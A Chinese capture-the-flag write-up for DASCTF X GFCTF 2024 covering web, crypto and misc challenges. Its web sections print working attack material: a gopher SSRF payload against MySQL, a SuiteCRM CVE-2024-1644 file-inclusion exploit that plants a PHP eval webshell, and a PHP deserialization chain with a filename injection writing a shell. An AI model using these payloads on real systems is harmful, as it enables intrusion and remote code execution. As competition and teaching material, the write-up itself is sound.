April 30, 2024

DASCTF X GFCTF 2024 Writeup

队伍名称

HnuSec

排名

19 名

解题思路

WEB

cool_index

签到题,关键逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
app.post("/article", (req, res) => {
const token = req.cookies.token;
if (token) {
try {
const decoded = jwt.verify(token, JWT_SECRET);
let index = req.body.index;
if (req.body.index < 0) {
return res.status(400).json({ message: "你知道我要说什么" });
}
if (decoded.subscription !== "premium" && index >= 7) {
return res
.status(403)
.json({ message: "订阅高级会员以解锁" });
}
index = parseInt(index);
if (Number.isNaN(index) || index > articles.length - 1) {
return res.status(400).json({ message: "你知道我要说什么" });
}

return res.json(articles[index]);
} catch (error) {
res.clearCookie("token");
return res.status(403).json({ message: "重新登录罢" });
}
} else {
return res.status(403).json({ message: "未登录" });
}
});

前面有一堆jwt但实际上都无伤大雅,关键在于这个parseInt以及nodejs的弱类型比较。
我们的目标是访问到第七页,但是if (decoded.subscription !== "premium" && index >= 7) {
这条判断让我们无法通过,绕过很简单,index=7a

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /article HTTP/1.1
Host: c11ecb80-b958-49f7-af22-5d7cd4552a46.node5.buuoj.cn:81
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/json
Origin: http://c11ecb80-b958-49f7-af22-5d7cd4552a46.node5.buuoj.cn:81
Referer: http://c11ecb80-b958-49f7-af22-5d7cd4552a46.node5.buuoj.cn:81/
Accept-Language: zh-CN,zh;q=0.9
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InBvcCIsInN1YnNjcmlwdGlvbiI6Imd1ZXN0IiwiaWF0IjoxNzEzNjIxMzQ5LCJleHAiOjE3MTM3MDc3NDl9.LtXseEZrvF4cBbm9qIVv6DzKY8bDC_z8AJeWXkXJQh4
Accept-Encoding: gzip, deflate
Content-Length: 13

{"index":"7a"}

image.png

EasySignin

先注册个账号。
image.png
提示我们不能查看图片,猜测是需要管理员,加上后台有个修改密码的接口,盲猜是任意密码重置
image.png
admin密码重置成功。接下来就去登录admin
image.png
这里应该是个ssrf的接口了,经过fuzz只可以使用gopher协议和http协议,我们可以用http协议探测内网
image.png
访问3306端口有回显,内容如下

1
2
J\x00\x00\x00
5.7.29\x00\x07\x00\x00\x00>}Oy\x15\x15%^\x00\xff\xf7\x08\x02\x00\xff\x81\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00Dt>v>?6\x1aJgYx\x00mysql_native_password\x00\x1b\x00\x00\x01\xff\x84\x04Got packets out of order

低版本mysql,最终结合gopher协议读取flag文件
gopherus生成payload
image.png
别忘了二次编码最终payload如下

1
gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%2524%2500%2500%2500%2503%2575%2573%2565%2520%2574%2565%2573%2574%253b%2573%2565%256c%2565%2563%2574%2520%256c%256f%2561%2564%255f%2566%2569%256c%2565%2528%2527%252f%2566%256c%2561%2567%2527%2529%253b%2501%2500%2500%2500%2501

image.png

1
2
3
4
J\x00\x00\x00
5.7.29\x00\x08\x00\x00\x00hT\x1a\x1f\x14r >\x00\xff\xf7\x08\x02\x00\xff\x81\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00!`\x16S %\x06X\x18SLh\x00mysql_native_password\x00\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x10\x00\x00\x01\x00\x00\x00
@\x00\x00\x00\x07\x01\x05\x04test\x01\x00\x00\x02\x01(\x00\x00\x03\x03def\x00\x00\x00\x12load_file('/flag')\x00 ?\x00\x00\x00\x00\x01\xfb\x80\x00\x1f\x00\x00.\x00\x00\x04-DASCTF{715d9012-12fe-42ce-ae83-18fd4285e99b}
\x07\x00\x00\x05\xfe\x00\x00\x02\x00\x00\x00

最终得到flag

SuiteCRM

没给hint前以为是代码审计题,麻了,最后放hint发现是个简单题,当时犹豫安恒平台的问题导致可能就1解吧。
CVE-2024-1644
https://github.com/salesagility/SuiteCRM/
根据视频的操作,存在本地文件包含,而且题目又是docker环境,很容易想到pearcmd文件包含

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// LegacyRedirectHandler.php
public function getIncludeFile(Request $request): array {
$baseUrl = $request->getPathInfo(); // Anything after the index.php file

$baseUrl = substr($baseUrl, 1);

if (strpos($baseUrl, '.php') === false) {
$baseUrl .= 'index.php';
}

return [
'dir' => '',
'file' => $baseUrl, // Arbitrary path (with custom wrapper)
'access' => true
];
}

漏洞点在于这里,他会对index.php后面的内容本地文件包含。
image.png
可以看到返回200了,这一注意是81端口,接下里我们就pear包含,正常流程

1
2
3
4
5
6
7
8
9
10
11
12
GET /index.php//usr/local/lib/php/pearcmd.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>+/tmp/test.php HTTP/1.1
Host: ce1caa59-d343-4360-8aea-c775d17a6d63.node5.buuoj.cn:81
Accept-Encoding: gzip, deflate
Cookie: LEGACYSESSID=81be055d743282032824d844121dba45; PHPSESSID=04d03e295b41e5622836f3b122e3b963; XSRF-TOKEN=ynCnaUpuQzEUurP2Ak5z9Px7yPb3ywqTxShSRt26LAE; ck_login_id_20=8a4b0568-268c-9812-73b3-65e88ae3bac3; ck_login_language_20=zh_CN; sugar_user_theme=suite8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Referer: http://ce1caa59-d343-4360-8aea-c775d17a6d63.node5.buuoj.cn:81/


image.png
成功创建test.php,最后本地包含rce即可

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /index.php//tmp/test.php HTTP/1.1
Host: ce1caa59-d343-4360-8aea-c775d17a6d63.node5.buuoj.cn:81
Accept-Encoding: gzip, deflate
Cookie: LEGACYSESSID=81be055d743282032824d844121dba45; PHPSESSID=04d03e295b41e5622836f3b122e3b963; XSRF-TOKEN=ynCnaUpuQzEUurP2Ak5z9Px7yPb3ywqTxShSRt26LAE; ck_login_id_20=8a4b0568-268c-9812-73b3-65e88ae3bac3; ck_login_language_20=zh_CN; sugar_user_theme=suite8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Referer: http://ce1caa59-d343-4360-8aea-c775d17a6d63.node5.buuoj.cn:81/
Content-Type: application/x-www-form-urlencoded

cmd=system('cat /flag');

image.png

Web1234(赛后解)

开局www.zip泄露
index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
error_reporting(0);
include "class.php";

$Config = unserialize(file_get_contents("/tmp/Config"));

foreach($_POST as $key=>$value){
if(!is_array($value)){
$param[$key] = addslashes($value);
}
}

if($_GET['uname'] === $Config->uname && md5(md5($_GET['passwd'])) === $Config->passwd){
$Admin = new Admin($Config);
if($_POST['m'] === 'edit'){

$avatar['fname'] = $_FILES['avatar']['name'];
$avatar['fdata'] = file_get_contents($_FILES['avatar']['tmp_name']);
$nickname = $param['nickname'];
$sex = $param['sex'];
$mail = $param['mail'];
$telnum = $param['telnum'];

$Admin->editconf($avatar, $nickname, $sex, $mail, $telnum);
}elseif($_POST['m'] === 'reset') {
$Admin->resetconf();
}
}else{
die("pls login! :)");
}

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
<?php

class Admin{

public $Config;

public function __construct($Config){
//安全获取基本信息,返回修改配置的表单
$Config->nickname = (is_string($Config->nickname) ? $Config->nickname : "");
$Config->sex = (is_string($Config->sex) ? $Config->sex : "");
$Config->mail = (is_string($Config->mail) ? $Config->mail : "");
$Config->telnum = (is_string($Config->telnum) ? $Config->telnum : "");
$this->Config = $Config;

echo ' <form method="POST" enctype="multipart/form-data">
<input type="file" name="avatar" >
<input type="text" name="nickname" placeholder="nickname"/>
<input type="text" name="sex" placeholder="sex"/>
<input type="text" name="mail" placeholder="mail"/>
<input type="text" name="telnum" placeholder="telnum"/>
<input type="submit" name="m" value="edit"/>
</form>';
}

public function editconf($avatar, $nickname, $sex, $mail, $telnum){
//编辑表单内容
$Config = $this->Config;

$Config->avatar = $this->upload($avatar);
$Config->nickname = $nickname;
$Config->sex = (preg_match("/男|女/", $sex, $matches) ? $matches[0] : "武装直升机");
$Config->mail = (preg_match('/.*@.*\..*/', $mail) ? $mail : "");
$Config->telnum = substr($telnum, 0, 11);
$this->Config = $Config;

file_put_contents("/tmp/Config", serialize($Config));

if(filesize("record.php") > 0){
[new Log($Config),"log"]();
}
}

public function resetconf(){
//返回出厂设置
file_put_contents("/tmp/Config", base64_decode('Tzo2OiJDb25maWciOjc6e3M6NToidW5hbWUiO3M6NToiYWRtaW4iO3M6NjoicGFzc3dkIjtzOjMyOiI1MGI5NzQ4Mjg5OTEwNDM2YmZkZDM0YmRhN2IxYzlkOSI7czo2OiJhdmF0YXIiO3M6MTA6Ii90bXAvMS5wbmciO3M6ODoibmlja25hbWUiO3M6MTU6IuWwj+eGiui9r+ezlk92TyI7czozOiJzZXgiO3M6Mzoi5aWzIjtzOjQ6Im1haWwiO3M6MTU6ImFkbWluQGFkbWluLmNvbSI7czo2OiJ0ZWxudW0iO3M6MTE6IjEyMzQ1Njc4OTAxIjt9'));
}

public function upload($avatar){
$path = "/tmp/".preg_replace("/\.\./", "", $avatar['fname']);
file_put_contents($path,$avatar['fdata']);
return $path;
}

public function __wakeup(){
$this->Config = ":(";
}

public function __destruct(){
echo $this->Config->showconf();
}
}



class Config{

public $uname;
public $passwd;
public $avatar;
public $nickname;
public $sex;
public $mail;
public $telnum;

public function __sleep(){
echo "<script>alert('edit conf success\\n";
echo preg_replace('/<br>/','\n',$this->showconf());
echo "')</script>";
return array("uname","passwd","avatar","nickname","sex","mail","telnum");
}

public function showconf(){
$show = "<img src=\"data:image/png;base64,".base64_encode(file_get_contents($this->avatar))."\"/><br>";
$show .= "nickname: $this->nickname<br>";
$show .= "sex: $this->sex<br>";
$show .= "mail: $this->mail<br>";
$show .= "telnum: $this->telnum<br>";
return $show;
}

public function __wakeup(){
if(is_string($_GET['backdoor'])){
$func = $_GET['backdoor'];
$func();//:)
}
}

}



class Log{

public $data;

public function __construct($Config){
$this->data = PHP_EOL.'$_'.time().' = \''."Edit: avatar->$Config->avatar, nickname->$Config->nickname, sex->$Config->sex, mail->$Config->mail, telnum->$Config->telnum".'\';'.PHP_EOL;
}

public function __toString(){
file_put_contents("record.php","<?php error_reporting(0); ");
echo 123;
if($this->data === "log_start()"){
file_put_contents("record.php","<?php error_reporting(0); ");
}
return ":O";
}

public function log(){
file_put_contents('record.php', $this->data, FILE_APPEND);
}
}

这道题的思路很简单触发Log的toString方法即可,但是触发点并不是在反序列化,仔细审计一下后会发现是在序列化_sleep函数中

1
2
3
4
5
6
public function __sleep(){
echo "<script>alert('edit conf success\\n";
echo preg_replace('/<br>/','\n',$this->showconf());
echo "')</script>";
return array("uname","passwd","avatar","nickname","sex","mail","telnum");
}

序列化时会触发showconf函数

1
2
3
4
5
6
7
8
public function showconf(){
$show = "<img src=\"data:image/png;base64,".base64_encode(file_get_contents($this->avatar))."\"/><br>";
$show .= "nickname: $this->nickname<br>";
$show .= "sex: $this->sex<br>";
$show .= "mail: $this->mail<br>";
$show .= "telnum: $this->telnum<br>";
return $show;
}

在file_get_contents的时候将avatar置为Log类即可触发,实现的方式也很简单,在我们的入口点会触发editconf函数,在这里面有一个upload

1
2
3
4
5
public function upload($avatar){
$path = "/tmp/".preg_replace("/\.\./", "", $avatar['fname']);
file_put_contents($path,$avatar['fdata']);
return $path;
}

我们可以往tmp目录下写任意文件和任意文件内容,这时候我们只需要写一个sess_boogipop进去,内容是序列化字符串,就可以触发_sleep函数。POC如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
class Admin{

public $Config;
}



class Config{

public $uname;
public $passwd;
public $avatar;
public $nickname;
public $sex;
public $mail;
public $telnum;


}



class Log{

public $data;

}


$exp=new Config();
$sink=new Log();
$sink->data="log_start()";
$exp->avatar=$sink;
echo serialize($exp);

我们上传一个叫做sess_boogipop的文件,内容是

1
aaa|O:6:"Config":7:{s:5:"uname";N;s:6:"passwd";N;s:6:"avatar";O:3:"Log":1:{s:4:"data";s:11:"log_start()";}s:8:"nickname";N;s:3:"sex";N;s:4:"mail";N;s:6:"telnum";N;}

这里需要注意我们要满足php session的格式aaa|bbb,题目初始密码在那一串base64里,解密后内容如下

1
O:6:"Config":7:{s:5:"uname";s:5:"admin";s:6:"passwd";s:32:"50b9748289910436bfdd34bda7b1c9d9";s:6:"avatar";s:10:"/tmp/1.png";s:8:"nickname";s:15:"小熊软糖OvO";s:3:"sex";s:3:"女";s:4:"mail";s:15:"admin@admin.com";s:6:"telnum";s:11:"12345678901";}

cmd5解密出来密码是1q2w3e
image.png
然后我们上传sess_boogipop文件
image.png
然后我们输入backdoor=session_start就可以触发sleep函数,进而触发toString,记得带上PHPSESSID=boogipop,此时record.php已经有我们的内容了,我们可以考虑第二步往里面写shell了,这里注意生成的正常内容如下

1
2
3
4
$_1713609381 = 'Edit: avatar->/tmp/, nickname->aaaaa, sex->武装直升机, mail->, telnum->';

$_1713609389 = 'Edit: avatar->/tmp/1, nickname->aaaa\', sex->武装直升机, mail->, telnum->';

由于入口加了个waf 会对引号转义,但是没有对$_FILE的filename转义,因此在文件名可以存在逃逸。文件名为1';eval($_POST[1]);#即可
image.png
image.png

Crypto

The Mystery of Math

题目是让我们输入一个逻辑式(这里我以来指代),然后会返回给我们以下信息:

1,密文:
2,模数:
3,提示:
(其中CNF(a)是a的合取范式,DNF(a)是a的析取范式)

既然是这样的话,我们肯定得利用点小trick——找一个使得的逻辑式
因为这样的话,便有:
我这里用的是这个:p∧q∧r∧s,那么对应的CNF(a)便是:**(p∧q∧r∧s)
这样就有一部分符号所对应的随机数
然后本以为结束了,但是发现random_pro的未知信息太多了,爆不了;所以我们可以反复交互靶机,去找到一个“
除去p里的符号以外,剩下的未知信息极少**”的random_pro及tip,最后去爆破此时random_pro的未知信息所对应的随机数,计算出素数p后进行RSA解密即可。
这里比较巧合的是——我交互出只有一位不知道的random_pro,所以进行一个23次的循环就行。
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
# sage10.3
from Crypto.Util.number import *
from itertools import combinations
from tqdm import tqdm
from gmpy2 import invert
"""
交互得到的信息
Please enter a proposition (up to four variables, e.g. p ∧ q): p∧q∧r∧s
random_pro: (q∧p)∧(p∧p→q)

c: 41995810424050464263591488554448329862268580803509430819016224815553338100888730896803336612673840017823427423514275862910733716684469925016536292401838549242607815557380733283312997155937593349267904769325582237443602584182267833691493238910650296499006238737051108479

n: 55175127952509866925917683580771159604579625153201086866979697201304022611177281378259399324843229832453057891022941155251249573902422749989427069699961969897437050838279218610819986530616258141599622993673644866656585227220278835105482801123826751956496319091479635337

tip: 12114630541506105101731501666541981434969941617155098749915270357037632891606470511445503452415625000000
"""
class Godel:
def __init__(self, dict):
self.table = ['﹁', '∨', '∧', '→', '↔', 's', '(', ')', 'p', 'q', 'r', 't']
self.dict = dict

def generate_dict(self, max_value=30):
res = {}
used = set()

for k in self.table:
while True:
r = randint(1, max_value)
if r not in used:
res[k] = r
used.add(r)
break

return res

def generate_primes(self, count, start=2):
primes = []
tmp = start

while len(primes) < count:
primes.append(tmp)
tmp = next_prime(tmp)

return primes

def translate(self, seq):
p = self.generate_primes(len(seq))
gn = 1
for c, prime in zip(seq, p):
gn *= prime ** self.dict[c]
return gn


c= 41995810424050464263591488554448329862268580803509430819016224815553338100888730896803336612673840017823427423514275862910733716684469925016536292401838549242607815557380733283312997155937593349267904769325582237443602584182267833691493238910650296499006238737051108479
n= 55175127952509866925917683580771159604579625153201086866979697201304022611177281378259399324843229832453057891022941155251249573902422749989427069699961969897437050838279218610819986530616258141599622993673644866656585227220278835105482801123826751956496319091479635337
tip= 12114630541506105101731501666541981434969941617155098749915270357037632891606470511445503452415625000000
p = 2
i = 0
if 1:
table = ['﹁', '∨', '∧', '→', '↔', 's', '(', ')', 'p', 'q', 'r', 't']
dic = {i: 0 for i in table}
# print(dic)
# 题目的合取范式是(p),需要注意一下
cs = "(p∧q∧r∧s)"
# ds = (p∧q∧r∧s)
for i in cs:
if dic[i] == 0:
while tip % p == 0:
tip //= p
dic[i] += 1
p = next_prime(p)
# print(f"{i}: {dic[i]}", end="\n")
else:
tip //= p**dic[i]
p = next_prime(p)
# print(dic)
table = [i for i in range(1, 31) if i not in dic.values()]
# len(table)=23
# 给的random_pro
tar = "(q∧p)∧(p∧p→q)"
# 未知信息
tar1 = "→"
# 因为len(tar1)=1, 所以只需爆破23种可能性
for i in tqdm(table):
dic1 = dic
dic1[tar1] = i
g = Godel(dic1)
p = g.translate(tar)
p = next_prime(p)
if n % p == 0:
q = n // p
e = 65537
d = invert(e, (p-1)*(q-1))
print(long_to_bytes(pow(c, d, n)))
break
# DASCTF{c5aad793-87c0-434a-89db-b750340ef842}

Misc

badmes

采用最古老的办法,人工判断,是垃圾短信输1,一直到达240分
{2D1B346F-26D0-4a4a-A020-5B1A2967AA4B}.png

tele

根据https://zhuanlan.zhihu.com/p/26797664对P2P通信标准协议之STUN的分析,我们可以轻易地找到发起者的ip
image.pngimage.png

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#WriteUp#DASCTF